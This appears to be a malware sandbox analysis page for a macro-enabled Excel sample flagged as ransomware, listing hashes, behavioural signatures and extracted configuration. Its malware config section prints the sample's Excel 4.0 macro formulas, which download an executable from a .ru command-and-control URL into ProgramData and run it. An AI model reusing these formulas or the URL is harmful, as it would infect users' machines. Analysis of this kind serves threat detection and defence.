Overview

overview

10

Static

static

10

42b382be2e...9.xlsm

windows11-21h2-x64

10

42b382be2e...9.xlsm

windows11-ltsc_2024-x64

10

Resubmissions

14/10/2026, 02:34

261014-c2wnpsxvay10

14/10/2026, 02:29

261014-cyldkat16r10

Sharing

Copy URL Twitter E-mail

General

  • Target
    42b382be2e0f600fcec16ead4440475ffa839ed56724ef960b24f2affda4afb9.zip
  • Size 45KB
  • Sample261014-cyldkat16r
  • SHA256 9cf979d335b81e468e3633440256030be7723c5d5fb1bbcc7d016ea6ec539276
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executionmacroransomwarexlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://invoice7mukszq9nbpa7online.ru/unfeminized.exe

Attributes
  • formulas

    =CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"http://invoice7mukszq9nbpa7online.ru/unfeminized.exe","C:\ProgramData\plaukbp.exe",0,0) =CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\ProgramData\plaukbp.exe",,0,0) =HALT()

Extracted

Language

  • xlm4.0

Source
URLs
  • xlm40.dropper

    http://invoice7mukszq9nbpa7online.ru/unfeminized.exe

Targets

    • Target
      42b382be2e0f600fcec16ead4440475ffa839ed56724ef960b24f2affda4afb9.xlsm
    • Size 52KB
    • SHA256 42b382be2e0f600fcec16ead4440475ffa839ed56724ef960b24f2affda4afb9
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    10/10
    executionransomware

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

    • Drops file in System32 directory

    • Executes a VBScript file via the Windows Script Host.

      execution
    behavioral1behavioral2

MITRE ATT&CK Enterprise v16

Tasks